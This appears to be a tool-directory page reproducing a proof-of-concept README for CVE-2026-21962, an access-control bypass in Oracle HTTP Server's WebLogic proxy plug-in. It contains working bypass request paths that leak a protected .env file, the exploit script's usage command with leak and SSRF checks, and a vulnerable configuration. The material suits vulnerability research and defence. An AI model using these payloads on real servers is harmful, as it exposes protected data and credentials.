Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-21962 — CVE-2026-21962の検証済みPoCと分析。Oracle HTTP Server/WebLogic Proxy Plug-inにおけるURI正規化の不整合を介したアクセス制御バイパスに関するもので、エクスプロイトスクリプトと証拠を含む。 | Kitploit
ツール/GitHubGitHub/zeetee1235/cve-2026-21962
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストレッドチーミング
GitHubzeetee1235/cve-2026-21962

CVE-2026-21962

CVE-2026-21962の検証済みPoCと分析。Oracle HTTP Server/WebLogic Proxy Plug-inにおけるURI正規化の不整合を介したアクセス制御バイパスに関するもので、エクスプロイトスクリプトと証拠を含む。

リポジトリを見る
31520日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-21962 — Oracle HTTP Server / WebLogic Server プロキシ・プラグイン

URI正規化の不整合によるアクセス制御バイパス

CVE-2026-21962(不適切なアクセス制御、CVSS 10.0)に関する、独立して再現されたエクスプロイトと分析です。対象はOracle HTTP Server / Apache HTTP Server用Oracle WebLogic Serverプロキシ・プラグインです。

ステータス: 検証済み — WebLogic Server 12.2.1.4の前面に配置された実稼働OHS 12.2.1.4.0および14.1.2.0.0に対して確認済み。


1. TL;DR

フロントエンド(OHS + mod_wl_ohs)とバックエンド(WebLogic)では、..;の正規化方法が異なります。次のようなリクエストは、

root@kitploit:~
GET /foo/..;/internal-admin/cont/.env HTTP/1.1

OHSが..;を畳み込まない一方、WebLogicは畳み込む(; = サーブレットのパスパラメータ、.. = 親ディレクトリ)ため、フロントエンドの<Location /internal-admin>保護ルールをバイパスします。その後、バックエンドが保護されたパスを配信します。結果: (CWE-284)。

フロントエンドのアクセス制御バイパス

analysis/root-cause.mdを参照してください。

2. 対象範囲 — 検証された内容の詳細

検証済み(再現済み)

  • OHS 12.2.1.4.0 + mod_wl_ohs(WLSPLUGINS_12.2.1.4.0_LINUX.X64_190912.1848)がWebLogic Server 12.2.1.4の前面に配置された構成。
  • OHS 14.1.2.0.0 + mod_wl_ohs(WLSPLUGINS_14.1.2.0.0_LINUX.X64_250908.1137)がWebLogic Server 12.2.1.4の前面に配置された構成。
  • バイパスの亜種(すべて保護された.envを漏洩):
    • /foo/..;/internal-admin/cont/.env
    • /foo/..%3b/internal-admin/cont/.env
    • /foo/..;jsessionid=xxxx/internal-admin/cont/.env
    • /foo/%2e%2e;/internal-admin/cont/.env
  • 直接(正規化された)パスはブロックされる(404)。これによりバイパスが証明されます。
  • レスポンスにはX-ORACLE-DMS-*ヘッダーが含まれ、本物のバックエンド(WebLogic)レスポンスであることが証明されます。
  • バックエンドのアクセスログには、リクエストが/internal-admin/...に正規化されたことが記録されます(GET /foo/../internal-admin/... 200)。
  • パッチ相当のA/Bテスト: フロントエンドの正規化を修正すると、同じリクエストがブロックされます(evidence/を参照)。
  • Ashwesker系の「RCE」URIは、同じ脆弱なデプロイメント上で404を返します(poc-factcheck.mdを参照)。

未検証

  • IIS用WebLogic Serverプロキシ・プラグイン(isapi_wl、12.2.1.4.0で影響あり)。同じメカニズム(バックエンドでのサーブレットパス解決)が想定されますが、Windows上では再現されていません。
  • 公式のパッチ適用済みバイナリ(Oracle SSOで保護)。パッチ分析は、2つの公開されている脆弱なビルドのバイナリ差分と、パッチ相当のデモンストレーションです(analysis/patch-analysis.md)。
  • データ開示 / SSRFを超えるRCEチェーン。このプロジェクトは、データ漏洩を伴うアクセス制御バイパスとSSRFの下地となるシナリオを実証するものです。OSコマンド実行を実証するものではなく、信頼できる公開PoCにもそのようなものはありません。

3. 環境

役割コンポーネントバージョン
フロントエンドOracle HTTP Server12.2.1.4.0 / 14.1.2.0.0
プラグインmod_wl_ohs12.2.1.4(190912)/ 14.1.2(250908)
バックエンドOracle WebLogic Server12.2.1.4
保護対象アプリ/internal-admin/cont/.env(架空の認証情報)—

使用したフロントエンド構成(最小トリガー):

root@kitploit:~
<Location /foo>
  WLSRequest ON
  WebLogicCluster <backend>:7101
</Location>

<Location /internal-admin>
  ErrorDocument 404 'OHS: Disallowed location'
  Redirect 404 /
</Location>

4. 脆弱な構成 vs パッチ適用済み構成(A/B)

同じリクエスト、同じフロントエンド、同じバックエンド — 変更されるのはフロントエンドの..;の処理のみです。

root@kitploit:~
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
デプロイメントHTTP漏洩バックエンド到達
脆弱200あり(.env認証情報)あり(X-ORACLE-DMS-*)
パッチ適用済み(正規化修正)404なしなし

生の証跡(リクエスト / レスポンス / サーバーログ):

  • evidence/vulnerable/
  • evidence/patched/

5. 使用方法

root@kitploit:~
python3 exploit/CVE-2026-21962.py -t http://TARGET:PORT --auto-proxy --check ALL
  • --auto-proxy : WLSRequestプロキシ接頭辞(例: /foo)を自動検出します。
  • -c : バックエンド上の保護されたパス(デフォルト: internal-admin/cont/.env)。
  • --check LEAK|SSRF|ALL。
  • バックエンドレスポンスの検証にはX-ORACLE-DMS-*ヘッダーを使用します。判定が陽性となるには、コントロール(直接)リクエストがブロックされている必要があります。

詳細はexploit/README.mdを参照してください。テストを許可されたシステムに対してのみ使用してください。

6. ファイル

root@kitploit:~
.
├── README.md                     このファイル
├── exploit/
│   ├── CVE-2026-21962.py         検証済みPoC(決定的な漏洩チェック)
│   └── README.md
├── evidence/
│   ├── vulnerable/               request.txt、response.txt、server-log.txt
│   └── patched/                  request.txt、response.txt、server-log.txt
├── analysis/
│   ├── root-cause.md             正規化の不一致の分析
│   └── patch-analysis.md         バイナリ差分 + パッチ相当のA/Bテスト
└── poc-factcheck.md              公開PoCの信頼性テーブル + PoCごとの詳細

保護されたパスを知らなくても動作するアクティブな検出 / マッピングツール(フィンガープリント、ブラインドプローブ、正規化マップ)は、../../probe/に別途保管されています。

整合性

  • exploit/CVE-2026-21962.py SHA-256: 20f050abf2a8f0e5b644667c1f7f87bcd9b2448d03b8d5d89bd6ea71b6b4f75a

7. 参考情報

  • Oracle CPU(2026年1月): https://www.oracle.com/security-alerts/cpujan2026.html
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-21962
  • CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-21962
  • 元の研究者: https://github.com/gregk4sec/cve-2026-21962

8. 責任ある使用

この資料は、脆弱性研究と防御的検証のために提供されています。許可なくシステムに対して使用しないでください。証跡内の.envの内容は架空のものであり、実際の認証情報は含まれていません。

ツールをダウンロード